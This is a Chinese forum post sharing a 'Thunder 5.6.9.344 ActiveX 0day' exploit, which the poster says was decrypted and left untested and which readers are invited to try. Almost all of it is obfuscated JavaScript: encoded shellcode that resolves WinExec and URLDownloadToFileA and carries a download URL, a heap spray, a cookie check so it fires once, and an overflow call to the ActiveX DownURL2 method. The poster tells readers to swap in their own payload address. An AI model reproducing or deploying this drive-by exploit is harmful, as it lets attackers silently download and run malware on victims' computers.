迅雷最新5.6.9.344 ActiveX 0day
Thunder 5.6.9.344 ActiveX 0day Remote Code Execution Exploit<BR>，WEB迅雷最新0day(没测试)，貌似别人玩了有几天了，前几天拿到个盗窃版，加了n层密。<BR>这里把解好的发布出来，也不知道少了文件没，大家测试测试，看有无效果。文件加了cookies验证。<BR>测试的时候注意清除cookies。下载地址在shellcode最后一行，自己替换。<BR>原来的和解密的，我打包了。大家自己下。<BR><BR><BR><BR><DIV class=UBBPanel><BR><BR><BR>
<DIV class=UBBTitle><IMG style="MARGIN: 0px 2px -3px 0px" src="http://www.52cmd.cn/blog/images/html.gif"> HTML代码:</DIV><BR><BR>
<DIV class=UBBTitle><SCRIPT language=javascript><BR> var she132132132132llc13ode = unescape("%u9090"+"%u9090"+ <BR>"%uefe9%u0000%u5a00%ua164%u0030%u0000%u408b%u8b0c" +<BR>"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +<BR>"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +<BR>"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +<BR>"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +<BR>"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +<BR>"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +<BR>"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +<BR>"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +<BR>"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +<BR>"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +<BR>"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +<BR>"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +<BR>"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +<BR>"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +<BR>"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +<BR>"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +<BR>"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +<BR>"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +<BR>"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +<BR>"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +<BR>"%u6946%u656c%u0041%u7468%u7074%u2f3a%u682f%u6961" +<BR>"%u6564%u796c%u632e%u2f6e%u6f6c%u6576%u652e%u6578");<BR></SCRIPT></DIV><BR><BR>
<DIV class=UBBTitle><BR><SCRIPT LANGUAGE="javascript">function doit(){ window.location.href="about:blank";}var cookieString = documents.cookie;var start = cookieString.indexOf("woshi07004=");if (start != -1){}else{var expires = new Date();expires.setTime(expires.getTime() + 1 * 24 * 60 * 60 * 1000);documents.cookie = "woshi07004=Ms07-004;expires=" + expires.toGMTString();</DIV><BR><BR>
<DIV class=UBBTitle>var IsNop1236326312 = '';<BR>var bi3123g123665blo2131ck = unescape("%u9090%u9090");<BR>var IsNop1236326312 = '';<BR>var he132132aders123132ize = 20;<BR>var IsNop1236326312 = '';<BR>var sl21123112ack312231312space = he132132aders123132ize+she132132132132llc13ode.length;<BR>var IsNop1236326312 = '';<BR>while (bi3123g123665blo2131ck.length<sl21123112ack312231312space) bi3123g123665blo2131ck+=bi3123g123665blo2131ck;<BR>fillblock = bi3123g123665blo2131ck.substring(0, sl21123112ack312231312space);<BR>block = bi3123g123665blo2131ck.substring(0, bi3123g123665blo2131ck.length-sl21123112ack312231312space);<BR>while(block.length+sl21123112ack312231312space<0x40000) block = block+block+fillblock;<BR>memory = new Array();<BR>for (x=0; x<300; x++) memory = block + she132132132132llc13ode;<BR>var b1u1231ff312er = '';<BR>var IsNop1236326312 = '';<BR>var IsNop1236326312 = '';<BR>while (b1u1231ff312er.length < 4057) b1u1231ff312er+="\x0a\x0a\x0a\x0a";<BR>b1u1231ff312er+="\x0a";<BR>b1u1231ff312er+="\x0a";<BR>b1u1231ff312er+="\x0a";<BR>b1u1231ff312er+="\x0a\x0a\x0a\x0a";<BR>b1u1231ff312er+="\x0a\x0a\x0a\x0a"; <BR>var yes="1111";<BR>target.DownURL2(b1u1231ff312er,yes,yes,yes);<BR>var IsNop1236326312 = '';</DIV><BR><BR>
<DIV class=UBBTitle>window.setTimeout("doit()",2000);}</DIV><BR><BR>
<DIV class=UBBTitle></SCRIPT><BR><body oncontextmenu="return false" onselectstart="return false" ondragstart="return false"></DIV></DIV>
re:迅雷最新5.6.9.344 ActiveX 0day
<P>这个问题问得好啊！我估计没人能答</P>
页:
[1]